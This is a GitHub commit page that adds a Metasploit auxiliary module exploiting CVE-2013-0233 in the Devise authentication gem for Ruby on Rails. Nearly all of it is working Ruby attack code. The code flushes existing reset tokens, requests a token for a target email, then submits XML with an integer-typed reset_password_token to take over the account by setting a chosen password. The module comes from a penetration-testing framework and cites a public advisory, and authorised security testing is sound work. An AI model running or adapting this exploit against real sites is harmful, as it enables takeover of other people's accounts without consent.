Skip to content

Commit f46eda2

Browse files
author
jvazquez-r7
committed
Merge branch 'rails_devise_pw_reset' of https://github.com/jjarmoc/metasploit-framework into jjarmoc-rails_devise_pw_reset
2 parents 167f597 + 22c9fa7 commit f46eda2

File tree

1 file changed

+162
-0
lines changed

1 file changed

+162
-0
lines changed
Lines changed: 162 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,162 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rexml/element'
10+
11+
class Metasploit3 < Msf::Auxiliary
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Ruby on Rails Devise Authentication Password Reset',
18+
'Description' => %q{
19+
The Devise authentication gem for Ruby on Rails is vulnerable
20+
to a password reset exploit leveraging type confusion. By submitting XML
21+
to rails, we can influence the type used for the reset_password_token
22+
parameter. This allows for resetting passwords of arbitrary accounts,
23+
knowing only the associated email address.
24+
25+
This module defaults to the most common devise URIs and response values,
26+
but these may require adjustment for implementations which customize them.
27+
28+
Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database
29+
except PostgreSQL or SQLite3. Tested with v2.2.2, 2.1.2, and 2.0.4.
30+
},
31+
'Author' =>
32+
[
33+
'joernchen', #original discovery and disclosure
34+
'jjarmoc' #metasploit module
35+
],
36+
'License' => MSF_LICENSE,
37+
'References' =>
38+
[
39+
[ 'CVE', '2013-0233'],
40+
[ 'OSVDB', '89642' ],
41+
[ 'BID', '57577' ],
42+
[ 'URL', 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/'],
43+
[ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html']
44+
],
45+
'DisclosureDate' => 'Jan 28 2013'
46+
))
47+
48+
register_options(
49+
[
50+
OptString.new('TARGETURI', [ true, 'The request URI', '/users/password']),
51+
OptString.new('TARGETEMAIL', [true, 'The email address of target account']),
52+
OptString.new('PASSWORD', [true, 'The password to set']),
53+
OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]),
54+
OptInt.new('MAXINT', [true, 'Max integer to try (tokens begining with a higher int will fail)', 10])
55+
], self.class)
56+
end
57+
58+
def generate_token(account)
59+
# CSRF token from GET "/users/password/new" isn't actually validated it seems.
60+
61+
postdata="user[email]=#{account}"
62+
63+
res = send_request_cgi({
64+
'uri' => normalize_uri(datastore['TARGETURI']),
65+
'method' => 'POST',
66+
'data' => postdata,
67+
})
68+
69+
unless res
70+
print_error("No response from server")
71+
return false
72+
end
73+
74+
if res.code == 200
75+
error_text = res.body[/<div id=\"error_explanation\">\n\s+(.*?)<\/div>/m, 1]
76+
print_error("Server returned error")
77+
vprint_error(error_text)
78+
return false
79+
end
80+
81+
return true
82+
end
83+
84+
def clear_tokens()
85+
count = 0
86+
status = true
87+
until (status == false) do
88+
status = reset_one(Rex::Text.rand_text_alpha(rand(10) + 5))
89+
count += 1 if status
90+
end
91+
vprint_status("Cleared #{count} tokens")
92+
end
93+
94+
def reset_one(password, report=false)
95+
96+
(0..datastore['MAXINT']).each{ |int_to_try|
97+
encode_pass = REXML::Text.new(password).to_s
98+
99+
xml = ""
100+
xml << "<user>"
101+
xml << "<password>#{encode_pass}</password>"
102+
xml << "<password_confirmation>#{encode_pass}</password_confirmation>"
103+
xml << "<reset_password_token type=\"integer\">#{int_to_try}</reset_password_token>"
104+
xml << "</user>"
105+
106+
res = send_request_cgi({
107+
'uri' => normalize_uri(datastore['TARGETURI']),
108+
'method' => 'PUT',
109+
'ctype' => 'application/xml',
110+
'data' => xml,
111+
})
112+
113+
unless res
114+
print_error("No response from server")
115+
return false
116+
end
117+
118+
case res.code
119+
when 200
120+
# Failure, grab the error text
121+
# May need to tweak this for some apps...
122+
error_text = res.body[/<div id=\"error_explanation\">\n\s+(.*?)<\/div>/m, 1]
123+
if (report) && (error_text !~ /token/)
124+
print_error("Server returned error")
125+
vprint_error(error_text)
126+
return false
127+
end
128+
when 302
129+
#Success!
130+
return true
131+
else
132+
print_error("ERROR: received code #{res.code}")
133+
return false
134+
end
135+
}
136+
137+
print_error("No active reset tokens below #{datastore['MAXINT']} remain. Try a higher MAXINT.") if report
138+
return false
139+
140+
end
141+
142+
def run
143+
# Clear outstanding reset tokens, helps ensure we hit the intended account.
144+
print_status("Clearing existing tokens...")
145+
clear_tokens() if datastore['FLUSHTOKENS']
146+
147+
# Generate a token for our account
148+
print_status("Generating reset token for #{datastore['TARGETEMAIL']}...")
149+
status = generate_token(datastore['TARGETEMAIL'])
150+
if status == false
151+
print_error("Failed to generate reset token")
152+
return
153+
end
154+
print_good("Reset token generated successfully")
155+
156+
# Reset a password. We're racing users creating other reset tokens.
157+
# If we didn't flush, we'll reset the account with the lowest ID that has a token.
158+
print_status("Resetting password to \"#{datastore['PASSWORD']}\"...")
159+
status = reset_one(datastore['PASSWORD'], true)
160+
status ? print_good("Password reset worked successfully") : print_error("Failed to reset password")
161+
end
162+
end

0 commit comments

Comments
 (0)